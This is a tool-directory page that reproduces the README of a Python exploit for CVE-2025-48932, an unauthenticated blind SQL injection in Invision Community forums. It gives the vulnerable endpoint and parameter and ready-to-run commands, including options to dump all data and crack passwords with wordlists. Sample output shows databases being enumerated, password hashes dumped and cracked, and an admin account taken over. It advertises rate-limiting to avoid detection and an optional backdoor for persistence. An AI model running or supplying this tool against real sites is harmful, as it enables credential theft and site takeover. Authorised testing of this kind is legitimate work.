Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-48932-Invision-Community-SQLi-Exploit — CVE-2025-48932 - Unauthenticated SQL injection exploit for Invision Community ≤ 4.7.20. Fully automated exploitation with database enumeration, credential dumping, admin takeover, session hijacking & multi-threading. No dependencies required. Security research tool by Sudeepa Wanigarathna | Kitploit
Tools/GitHubGitHub/cerberusmrxi/cve-2025-48932-invision-community-sqli-exploit
Password AttacksVulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationInformation GatheringPost-ExploitationWeb SecurityPenetration Testing

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →

About

CVE-2025-48932 - Unauthenticated SQL injection exploit for Invision Community ≤ 4.7.20. Fully automated exploitation with database enumeration, credential dumping, admin takeover, session hijacking & multi-threading. No dependencies required. Security research tool by Sudeepa Wanigarathna

GitHubcerberusmrxi/cve-2025-48932-invision-community-sqli-exploit

CVE-2025-48932-Invision-Community-SQLi-Exploit

View Repository
151 month agoNot yet reviewed
Share

🔓 CVE-2025-48932 - Invision Community SQL Injection Exploit

Python Version License Security Status CVE Exploit-DB PRs Welcome Maintenance Hits


⚡ Critical Vulnerability Overview

CVE-2025-48932 is a critical unauthenticated blind SQL injection vulnerability discovered in Invision Community versions ≤ 4.7.20. This exploit allows remote attackers to:

  • 🔍 Extract sensitive database information
  • 👤 Steal user credentials & password hashes
  • 🔑 Take over administrator accounts
  • 🎯 Hijack active user sessions
  • 💻 Achieve Remote Code Execution (RCE) via admin takeover
  • 📊 Dump entire database contents

🎯 Features


📊 Demo & Screenshots

Exploit Execution

root@kitploit:~
$ python3 exploit.py -u https://vulnerable-site.com -v

╔══════════════════════════════════════════════════════════════════╗
║  CVE-2025-48932 - Invision Community SQL Injection               ║
║  Author: Sudeepa Wanigarathna                                    ║
║  Critical: Unauthenticated Remote Code Execution                 ║
╚══════════════════════════════════════════════════════════════════╝

[*] Target: https://vulnerable-site.com
[*] Performing vulnerability assessment...
[+] Target is confirmed VULNERABLE!

[*] Enumerating database information...
[+] Database Information:
  Version: 10.4.32-MariaDB
  User: invision@localhost
  Database: invision_community
  Hostname: localhost
  Basedir: /usr/
  Datadir: /var/lib/mysql/

[*] Enumerating databases...
[+] Found 5 databases
  Found: information_schema
  Found: invision_community
  Found: mysql
  Found: performance_schema
  Found: phpmyadmin

[*] Enumerating tables in invision_community...
[+] Found 12 tables
  Found: core_members
  Found: core_sessions
  Found: admin_members
  Found: cms_categories
  Found: forums_posts
  ...

[*] Searching for credentials...
[+] Found credential table: core_members
  Credentials: admin - $2y$10$abcdefghijklmnopqrstuvwxyz...
  Credentials: moderator - $2y$10$1234567890abcdefghijklmnop...
  Credentials: user123 - $2y$10$qwertyuiopasdfghjklzxcvbnm...

[*] Extracting admin information...
[+] Admin Information Found:
  name: admin
  email: [email protected]
  id: 1
  password_hash: $2y$10$abcdefghijklmnopqrstuvwxyz...

[*] Attempting to crack password hash...
[+] Detected hash type: bcrypt
[+] Password cracked: Admin@2024!

[*] Attempting admin bypass...
[+] Admin login successful!
[+] Credentials: admin:Admin@2024!

[+] Exploitation complete!
[+] Report saved to invision_exploit_report_1700000000.json

Sample JSON Output

root@kitploit:~
{
  "target": "https://vulnerable-site.com",
  "timestamp": "2026-08-02T12:34:56.789Z",
  "vulnerable": true,
  "database": {
    "version": "10.4.32-MariaDB",
    "user": "invision@localhost",
    "database": "invision_community",
    "hostname": "localhost"
  },
  "databases": [
    "information_schema",
    "invision_community",
    "mysql",
    "performance_schema",
    "phpmyadmin"
  ],
  "tables": [
    "core_members",
    "core_sessions",
    "admin_members"
  ],
  "credentials": [
    {
      "username": "admin",
      "password_hash": "$2y$10$abcdefghijklmnopqrstuvwxyz...",
      "email": "[email protected]"
    }
  ],
  "admin_info": {
    "name": "admin",
    "email": "[email protected]",
    "id": "1",
    "password_hash": "$2y$10$abcdefghijklmnopqrstuvwxyz..."
  },
  "summary": {
    "total_databases": 5,
    "total_tables": 12,
    "total_credentials": 3,
    "vulnerable": true,
    "successful": true
  }
}

🚀 Quick Start Guide

Installation

root@kitploit:~
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2025-48932-Invision-Community-SQLi-Exploit.git
cd CVE-2025-48932-Invision-Community-SQLi-Exploit

# No dependencies to install! Just run it.

Basic Usage

root@kitploit:~
# Check if target is vulnerable
python3 exploit.py -u https://example.com --check-only

# Full exploitation with verbose output
python3 exploit.py -u https://example.com -v

# With proxy (Burp Suite)
python3 exploit.py -u https://example.com -p http://127.0.0.1:8080 -v

# Save results to custom file
python3 exploit.py -u https://example.com -o results.json

# Multi-threaded extraction (faster)
python3 exploit.py -u https://example.com -t 10

# Dump all available data
python3 exploit.py -u https://example.com --dump-all

Advanced Usage

root@kitploit:~
# With custom wordlist for password cracking
python3 exploit.py -u https://example.com --wordlist rockyou.txt -v

# Silent mode (no output, just report)
python3 exploit.py -u https://example.com -o silent_report.json

# Debug mode with detailed errors
python3 exploit.py -u https://example.com -v --debug

📋 Requirements

System Requirements

  • Python: 3.6 or higher
  • OS: Linux, Windows, macOS (any OS with Python)
  • Memory: Minimal (~50MB RAM)
  • Storage: ~100KB (exploit only)

Dependencies

root@kitploit:~
✅ No external dependencies!
✅ Pure Python standard library only!
✅ No pip install or virtual environment needed!

Optional (For Password Cracking)

  • Wordlist: rockyou.txt or any custom wordlist
    root@kitploit:~
    # Download popular wordlist
    wget https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
    

🛠️ Technical Details

Vulnerability Location

  • File: /applications/calendar/modules/front/calendar/view.php
  • Method: IPS\calendar\modules\front\calendar\view::search()
  • Parameter: location (user-supplied input)
  • Type: Boolean-based Blind SQL Injection

Attack Vector

root@kitploit:~
GET /applications/calendar/modules/front/calendar/view.php?do=search&location=[SQL_INJECTION_PAYLOAD]

Exploitation Chain

  1. Detection: Boolean-based injection detection
  2. Enumeration: Extract database structure
  3. Extraction: Dump sensitive data
  4. Credential Theft: Extract user credentials
  5. Privilege Escalation: Admin account takeover
  6. Session Hijacking: Steal active sessions
  7. Persistence: Establish backdoor (optional)

Supported Database Versions

  • MySQL 5.0+
  • MariaDB 5.5+
  • Percona Server

🔒 Security & Legal Notice

⚠️ IMPORTANT DISCLAIMER

This tool is for EDUCATIONAL and AUTHORIZED TESTING purposes only.

By using this tool, you agree to:

  • Use only on systems you own or have explicit permission to test
  • Not use for illegal or malicious purposes
  • Comply with all applicable laws and regulations
  • Accept full responsibility for your actions

Unauthorized access to computer systems is illegal and unethical.

Responsible Disclosure

  • Vendor: Invision Community
  • Disclosed: May 16, 2025
  • Patched: Version 4.7.21 (May 27, 2025)
  • CVE: CVE-2025-48932 assigned

📚 Documentation

Exploit Arguments

Report Structure

root@kitploit:~
invision_exploit_report_[timestamp].json
├── target                 # Target URL
├── timestamp              # Exploit timestamp
├── vulnerable             # Vulnerability status
├── database               # Database information
├── databases              # List of databases
├── tables                 # List of tables
├── credentials            # Extracted credentials
├── admin_info             # Admin user information
└── summary                # Exploitation summary

🎯 Use Cases

For Security Researchers

  • ✅ Vulnerability validation
  • ✅ Proof of concept development
  • ✅ Security assessment
  • ✅ Bug bounty hunting

For Penetration Testers

  • ✅ External/internal penetration testing
  • ✅ Red team operations
  • ✅ Vulnerability verification
  • ✅ Compliance testing

For System Administrators

  • ✅ Security audit of own systems
  • ✅ Patch verification
  • ✅ Incident response investigation
  • ✅ Security posture assessment

🐛 Troubleshooting

Common Issues & Solutions

Issue: Connection timeout

root@kitploit:~
# Solution: Increase timeout or check network
python3 exploit.py -u https://example.com --timeout 60

Issue: SSL certificate errors

root@kitploit:~
# Solution: Disable SSL verification (not recommended for production)
python3 exploit.py -u https://example.com --no-verify-ssl

Issue: Rate limiting detected

root@kitploit:~
# Solution: Reduce threads and increase delays
python3 exploit.py -u https://example.com -t 2 --delay 2

Issue: No vulnerable parameter found

root@kitploit:~
# Solution: Ensure calendar app is installed and GeoLocation is enabled
# Check: /applications/calendar/modules/front/calendar/view.php exists

📖 References

Official Resources

  • CVE-2025-48932
  • Invision Community
  • Invision Security Bulletin
  • Original Advisory

Technical References

  • OWASP SQL Injection
  • Blind SQL Injection
  • MySQL Documentation

Related CVEs

  • CVE-2024-xxxxx (Previous Invision vulnerabilities)
  • CVE-2023-xxxxx (Related community platform CVEs)

🤝 Contributing

We welcome contributions! Please see our Contributing Guidelines.

How to Contribute

  1. Fork the repository
  2. Create a feature branch (git checkout -b feature/AmazingFeature)
  3. Commit changes (git commit -m 'Add some AmazingFeature')
  4. Push to branch (git push origin feature/AmazingFeature)
  5. Open a Pull Request

Report Issues

  • 🐛 Bug Report
  • 💡 Feature Request
  • 🔒 Security Issue

👨‍💻 Author

Sudeepa Wanigarathna

Security Researcher & Bug Bounty Hunter

  • 🌐 GitHub
  • 🐦 Twitter
  • 💼 LinkedIn
  • 📧 Email

📄 License

This project is licensed under the MIT License - see the LICENSE file for details.

root@kitploit:~
MIT License

Copyright (c) 2026 Sudeepa Wanigarathna

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

⭐ Show Your Support

If this project helped you or you found it interesting:

  • ⭐ Star this repository
  • 🔗 Share with your network
  • 📢 Mention in your security research
  • 🤝 Contribute to improve it

🙏 Acknowledgments

Sudeepa Wanigarathna

Cybersecurity Researcher | Software Engineer | CTF Engineer

This project is provided for security research, defensive analysis, and authorized penetration testing. Users are responsible for complying with all applicable laws and obtaining proper authorization before use.

Download Tool
FeatureDescriptionStatus
🚀 Zero DependenciesPure Python standard library - no pip install needed✅
⚡ Multi-ThreadedLightning-fast data extraction with configurable threads✅
🤖 Fully AutomatedComplete exploitation chain from detection to reporting✅
👑 Admin TakeoverSession hijacking & privilege escalation✅
🔑 Credential DumpingExtract users, password hashes, emails✅
🔓 Password CrackingBuilt-in hash cracking with wordlist support✅
📋 JSON ReportingStructured output for analysis & documentation✅
🔌 Proxy SupportBurp Suite & custom proxy integration✅
🎨 Color OutputBeautiful terminal output with progress indicators✅
🛡️ Rate LimitingBuilt-in delays to avoid detection✅
ArgumentDescriptionExample
-u, --urlTarget URL (required)-u https://example.com
-p, --proxyProxy URL-p http://127.0.0.1:8080
-t, --threadsNumber of threads (default: 5)-t 10
-o, --outputOutput file for results-o results.json
-v, --verboseEnable verbose output-v
--check-onlyOnly check vulnerability--check-only
--dump-allDump all available data--dump-all
--wordlistWordlist file for cracking--wordlist rockyou.txt